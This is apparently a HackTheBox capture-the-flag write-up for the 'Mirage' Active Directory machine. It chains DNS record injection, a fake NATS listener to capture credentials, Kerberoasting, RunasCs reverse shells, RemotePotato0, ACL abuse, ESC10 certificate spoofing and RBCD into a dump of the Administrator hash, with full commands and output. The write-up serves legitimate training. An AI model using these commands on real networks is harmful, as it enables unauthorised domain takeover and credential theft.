Post

Mirage

Mirage

Summary

Mirage is a HackTheBox Active Directory machine that demonstrates a sophisticated multi-stage attack chain involving NFS share enumeration, DNS dynamic update vulnerabilities, NATS service exploitation, Kerberoasting, RemotePotato0 attacks, ACL abuse, GMSA password extraction, ADCS certificate-based attacks (ESC10), and Resource-Based Constrained Delegation (RBCD) exploitation. The initial compromise was achieved through mounting an NFS share that revealed incident reports mentioning a NATS service. By exploiting DNS dynamic updates, we added a malicious DNS record pointing to our attacker machine, allowing us to intercept NATS authentication credentials. These credentials were used to enumerate NATS streams and extract domain user credentials. Through Kerberoasting, we obtained access to nathan.aadam, which enabled WinRM access. Using RemotePotato0, we captured mark.bbond’s credentials, who had permissions to change passwords for javier.mmarshall. After modifying account restrictions, we used javier.mmarshall to read the GMSA password for mirage-service$. Finally, we exploited ADCS ESC10 vulnerability and RBCD to achieve Domain Admin privileges.

Initial Enumeration

We begin with a comprehensive Nmap scan to identify open ports and services:

1
nmap -sVC -Pn -oN nmap 10.10.11.78

Results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
53/tcp    open  domain          syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec    syn-ack Microsoft Windows Kerberos (server time: 2025-08-12 03:17:54Z)
111/tcp   open  rpcbind         syn-ack 2-4 (RPC #100000)
135/tcp   open  msrpc           syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn     syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap            syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?   syn-ack
464/tcp   open  kpasswd5?       syn-ack
593/tcp   open  ncacn_http      syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
2049/tcp  open  nlockmgr        syn-ack 1-4 (RPC #100021)
3268/tcp  open  ldap            syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap        syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
4222/tcp  open  vrml-multi-use? syn-ack
5985/tcp  open  http            syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf          syn-ack .NET Message Framing
47001/tcp open  http            syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Analysis: This is an Active Directory Domain Controller with:

  • Port 53 (DNS): Domain name service
  • Port 88 (Kerberos): Authentication service
  • Port 389/636 (LDAP): Directory services
  • Port 445 (SMB): File sharing
  • Port 2049 (NFS): Network File System - unusual for Windows!
  • Port 4222: Unknown service (later identified as NATS)
  • Port 5985 (WinRM): Windows Remote Management

Domain Discovery

We use nxc (NetExec) to enumerate LDAP and discover the domain:

1
nxc ldap 10.10.11.78

Domain Discovery

Domain: mirage.htb

NFS Share Enumeration

Discovering NFS Shares

The presence of port 2049 (NFS) on a Windows domain controller is unusual. We enumerate available NFS shares:

1
showmount -e 10.10.11.78

NFS Share Enumeration

Discovery: An NFS share named MirageReports is available for mounting.

Mounting the NFS Share

We mount the NFS share to explore its contents:

1
2
3
sudo mount -t nfs 10.10.11.78:/MirageReports mnt
cd mnt
ls -la

Reading Incident Reports

The share contains incident reports and authentication hardening documentation:

Incident Reports

Critical Discovery: The incident report mentions:

  • “Unable to resolve nats-svc.mirage.htb
  • This suggests a NATS (messaging system) service that cannot be resolved via DNS

DNS Dynamic Update Vulnerability

Understanding the Vulnerability

The incident report indicates DNS resolution issues with nats-svc.mirage.htb. We check the DNS server configuration:

DNS Configuration

Critical Discovery: The DNS server configuration shows “Dynamic updates nonsecure and secure” are enabled. This means we can potentially add DNS records if we have appropriate permissions.

DNS Update Attempt

We attempt to add a DNS record for nats-svc.mirage.htb pointing to our attacker machine:

1
2
3
4
5
nsupdate
server 10.10.11.78
update add nats-svc.mirage.htb 86400 A 10.10.14.4
send
quit

DNS Update

Success: The DNS record was successfully added!

Verifying DNS Record

We verify the DNS record was created:

1
dig @mirage.htb nats-svc.mirage.htb

DNS Verification

The DNS record now points to our attacker machine (10.10.14.4).

NATS Service Exploitation

Understanding NATS

NATS is a messaging system. The incident report shows a user dev_account_A running:

1
.\nats -s nats://nats-svc:4222 rtt --user $user --password $password

NATS Command

Strategy: If a service tries to connect to nats-svc.mirage.htb, it will now resolve to our machine. We can set up a fake NATS server to intercept authentication credentials.

Setting Up Fake NATS Server

We create a fake NATS server that responds with a valid NATS INFO message:

1
while true; do echo -ne 'INFO {"server_id":"FAKE123","server_name":"nats-svc.mirage.htb","version":"2.11.3","proto":1,"auth_required":false,"max_payload":1048576}\r\n' | nc -lvnp 4222; done

Fake NATS Server

Success: We receive a connection with authentication credentials!

Extracted Credentials

The connection reveals credentials for dev_account_A:

  • Username: dev_account_A
  • Password: (extracted from the connection)

We now have valid domain credentials for dev_account_A.

NATS Stream Enumeration

Connecting to Real NATS Service

Using the extracted credentials, we connect to the actual NATS service on port 4222:

1
nats -s nats://10.10.11.78:4222 --user dev_account_A --password [PASSWORD]

Enumerating Consumers

We list available consumers:

1
nats consumer ls

NATS Consumers

Enumerating Streams

We list and view streams to find sensitive information:

1
2
nats stream ls
nats stream view [STREAM_NAME]

NATS Stream Credentials

Critical Discovery: A stream contains credentials for david.jjackson!

Testing Credentials

We test the discovered credentials:

1
nxc smb 10.10.11.78 -u david.jjackson -p [PASSWORD]

Valid Domain User

Success: We have a valid domain user account!

Kerberoasting Attack

Identifying Kerberoastable Accounts

We perform Kerberoasting to extract service account hashes:

1
nxc ldap 10.10.11.78 -u david.jjackson -p [PASSWORD] --kerberoasting kerberoasting

Kerberoasting Results

Discovery: We successfully extracted Kerberos service tickets that can be cracked offline.

Cracking the Hash

We crack the extracted hash using hashcat:

1
hashcat -m 13100 kerberoasting.hash /usr/share/wordlists/rockyou.txt

Result: We obtain the password for account nathan.aadam.

WinRM Access

Generating Kerberos Configuration

We generate a Kerberos configuration file for authentication:

1
2
nxc smb 10.10.11.78 -u nathan.aadam -p [PASSWORD] --generate-krb5-file krb5
cat krb5 | sudo tee -a /etc/krb5.conf

Accessing WinRM

We access the system via WinRM using Kerberos authentication:

1
evil-winrm -i 10.10.11.78 -r mirage.htb

WinRM Access

Success: We have shell access as nathan.aadam!

Technical Note: Evil-WinRM connects over WinRM, which authenticates you with a Network logon (logon type 3 / LOGON32_LOGON_NETWORK). Network logons don’t create an interactive or Remote Desktop (TS) session on the host. Commands like query user and qwinsta rely on the Terminal Services APIs (WTSEnumerateSessions/WTSQuerySessionInformation) and only work when the calling process is associated with a real TS session and has the appropriate rights. From a pure WinRM/Evil-WinRM session, your token has no TS session context, so those APIs fail and query user doesn’t return the expected session list.

Interactive Shell

For better enumeration, we use RunasCs.exe to get a reverse shell. This creates a different logon type (interactive or batch) with different privileges that allow us to query user sessions:

1
.\RunasCs.exe nathan.aadam [PASSWORD] cmd.exe -r 10.10.14.4:9999

Output:

1
2
3
4
5
[*] Warning: The logon for user 'nathan.aadam' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-ace07$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5272 created in background.

Reverse Shell:

1
rlwrap nc -lvnp 9999
1
2
3
4
5
Connection from 10.10.11.78:56634
Microsoft Windows [Version 10.0.20348.3807]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

We now have an interactive command prompt on the target system.

RemotePotato0 Attack

Discovering Active Sessions

We check for active user sessions. Note that this command works in our reverse shell (created via RunasCs.exe) because it uses an interactive logon type, but would not work in a WinRM network session:

1
query user

Output:

1
2
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 mark.bbond            console             1  Active      none   8/12/2025 3:52 PM

Discovery: mark.bbond has an active console session. We can use RemotePotato0 to capture their credentials.

Why This Works: The reverse shell created by RunasCs.exe uses an interactive or batch logon type (LOGON32_LOGON_INTERACTIVE or LOGON32_LOGON_BATCH), which has the necessary privileges to query Terminal Services session information. This is why query user succeeds here but would fail in a WinRM network session.

BloodHound Analysis

We can also see this relationship in BloodHound:

BloodHound Session

RemotePotato0 Exploitation

RemotePotato0 is an attack that exploits the DCOM activation service to capture NTLM authentication. We set up the attack:

On Attacker Machine:

1
sudo socat -v TCP-LISTEN:135,fork,reuseaddr,bind=0.0.0.0 TCP:10.129.92.155:9999

On Target Machine (as nathan.aadam):

1
.\RemotePotato0.exe -r 10.10.14.4 -p 9999 -x 10.10.14.4 -e 9998

RemotePotato0 Setup

Success: We captured mark.bbond’s NTLM hash!

ACL Abuse - Password Change

BloodHound Analysis

Using BloodHound, we discover that mark.bbond is a member of it_support, which has permissions to change the password of javier.mmarshall:

ACL Relationship

Changing javier.mmarshall’s Password

We use bloodyAD to change the password:

1
bloodyAD --host 10.10.11.78 -d mirage.htb -u mark.bbond -p [HASH] -k set password javier.mmarshall 'P@$$word123!'

Success: Password changed successfully!

Account Restrictions

When attempting to authenticate, we encounter an error:

1
kdc_err_client_revoked

We check the account properties:

1
Get-ADUser javier.mmarshall -properties *

Output:

1
logonHours {0,0,0,0...}

Discovery: The account has logonHours restrictions (all zeros means no login hours allowed) and may be disabled.

Getting Shell as mark.bbond

We get a shell as mark.bbond to modify account properties:

mark.bbond Shell

Checking Security Descriptors

We examine the security descriptors for javier.mmarshall:

1
bloodyAD -d mirage.htb --dc-ip 10.10.11.78 -k --host 10.10.11.78 -u mark.bbond -p [HASH] get object javier.mmarshall --resolve-sd

Security Descriptors

Discovery: We have write permissions on UAC (User Account Control) and logonHours properties!

Removing Account Restrictions

We remove the account disable flag:

1
bloodyAD -d mirage.htb --host 10.10.11.78 -u mark.bbond -p [HASH] -k remove uac -f ACCOUNTDISABLE javier.mmarshall

Remove UAC

We clear the logon hours restriction:

1
set-aduser javier.mmarshall -clear logonhours

Clear Logon Hours

Verifying Account Status

We verify the account is now enabled:

1
2
3
Enable-ADAccount javier.mmarshall
set-aduser javier.mmarshall -clear logonhours
get-aduser javier.mmarshall -properties logonhours

Account Enabled

Success: The account is now enabled and can be used for authentication!

GMSA Password Extraction

Reading GMSA Password

Using javier.mmarshall credentials, we can read the GMSA (Group Managed Service Account) password for mirage-service$:

GMSA Password

Critical Discovery: We successfully extracted the GMSA password for mirage-service$!

ADCS Certificate Enumeration

Discovering Certificates

We use Certipy to enumerate certificates for the service account:

1
KRB5CCNAME=mirage-svc.ccache certipy find -u 'mirage-service$@mirage.htb' -dc-ip 10.10.11.78 -dc-host dc01.mirage.htb -k -no-pass -enabled -hide-admins

Discovery: We find certificates that can be exploited.

ESC10 Vulnerability Exploitation

Understanding ESC10

ESC10 is a vulnerability in ADCS where weak certificate mapping for Schannel authentication allows impersonation. We check the certificate mapping methods:

1
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL' -Name CertificateMappingMethods

Certificate Mapping

Discovery: The system uses weak certificate mapping, making it vulnerable to ESC10.

BloodHound Analysis - mark.bbond Permissions

We discover that javier.mmarshall has write permissions on mark.bbond’s public-information property:

mark.bbond Permissions

Security Descriptors Detail

Property Set Write

Modifying UPN

We can modify mark.bbond’s User Principal Name (UPN) to impersonate the domain controller:

1
2
3
certipy account -k \
    -dc-ip 10.10.11.78 -target dc01.mirage.htb -upn 'dc01$@mirage.htb' \
    -user 'mark.bbond' update

Output:

1
2
3
4
5
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Updating user 'mark.bbond':
    userPrincipalName                   : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'

Success: We changed mark.bbond’s UPN to dc01$@mirage.htb!

Requesting Certificate

We request a certificate for mark.bbond (which now has UPN dc01$@mirage.htb):

1
KRB5CCNAME=mark.ccache certipy req -dc-ip 10.10.11.78 -target dc01.mirage.htb -ca 'mirage-DC01-CA' -template User -username mark.bbond@mirage.htb -p 'P@$$word123!' -k

Output:

1
2
3
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Saving certificate and private key to 'dc01.pfx'

Critical Success: We obtained a certificate for the domain controller machine account!

Restoring Original UPN

We restore mark.bbond’s original UPN:

1
2
3
4
certipy account \
    -k -target dc01.mirage.htb -dc-host dc01.mirage.htb\
    -dc-ip 10.10.11.78 -upn 'mark.bbond@mirage.htb' \
    -user 'mark.bbond' update

Certificate-Based Authentication

Authenticating with Certificate

We authenticate to LDAP using the certificate:

1
certipy auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell

Output:

1
2
3
4
5
[*] Certificate identities:
[*]     SAN UPN: 'dc01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.10.11.78:636'
[*] Authenticated to '10.10.11.78' as: 'u:MIRAGE\\DC01$'

Success: We are authenticated as the domain controller machine account!

Resource-Based Constrained Delegation (RBCD)

Setting RBCD

We configure Resource-Based Constrained Delegation, allowing mirage-service$ to impersonate users on dc01$:

1
2
# In certipy LDAP shell
set_rbcd dc01$ mirage-service$

Output:

1
2
3
4
5
6
7
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000

Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
mirage-service$ can now impersonate users on dc01$ via S4U2Proxy

Success: RBCD is configured! mirage-service$ can now impersonate any user on dc01$.

Requesting Service Ticket

We use getST.py to request a service ticket for DC01$ impersonating DC01$:

1
getST.py -spn 'cifs/dc01.mirage.htb' -impersonate DC01$ -dc-ip 10.10.11.78 mirage.htb/Mirage-Service$ -no-pass

Output:

1
2
3
4
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache

Success: We obtained a service ticket for the domain controller!

Domain Admin Compromise

Dumping Administrator Hash

We use the service ticket to dump the Administrator hash:

1
KRB5CCNAME=DC01\$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache secretsdump.py -just-dc-user administrator -k -no-pass 'mirage.htb/dc01$'@dc01.mirage.htb

Output:

1
2
3
4
5
6
7
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619

Domain Compromise: We successfully extracted the Administrator NTLM hash!

Getting Administrator TGT

We generate a Kerberos ticket for the Administrator:

1
getTGT.py -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3' mirage.htb/Administrator

Output:

1
[*] Saving ticket in Administrator.ccache

Domain Admin Access

Complete Domain Compromise: We now have full domain administrator access!

Conclusion

Quick Recap

  • NFS Share Enumeration: Discovered incident reports mentioning NATS service
  • DNS Dynamic Update: Exploited DNS to add malicious record pointing to attacker machine
  • NATS Exploitation: Intercepted authentication credentials by hosting fake NATS server
  • Stream Enumeration: Extracted domain user credentials from NATS streams
  • Kerberoasting: Obtained service account password
  • RemotePotato0: Captured mark.bbond credentials via RemotePotato
  • ACL Abuse: Changed javier.mmarshall password and removed account restrictions
  • GMSA Extraction: Read GMSA password for mirage-service$
  • ESC10 Exploitation: Modified UPN to impersonate domain controller and obtained certificate
  • RBCD Attack: Configured delegation to impersonate users on domain controller
  • Domain Admin: Dumped Administrator hash and achieved complete domain compromise

Lessons Learned

  • NFS Security: NFS shares on Windows systems should be properly secured and monitored
  • DNS Dynamic Updates: DNS dynamic updates should be restricted to authorized sources only
  • NATS Security: Service authentication should use strong credentials and proper network segmentation
  • Kerberos Security: Service accounts should use strong passwords to resist Kerberoasting
  • Session Security: Active user sessions can be exploited via attacks like RemotePotato0
  • ACL Management: Access Control Lists must be properly configured to prevent unauthorized password changes
  • GMSA Security: Group Managed Service Accounts should have restricted read permissions
  • ADCS Security: Certificate mapping methods should be properly configured to prevent ESC10
  • RBCD Security: Resource-Based Constrained Delegation must be carefully managed
This post is licensed under CC BY 4.0 by the author.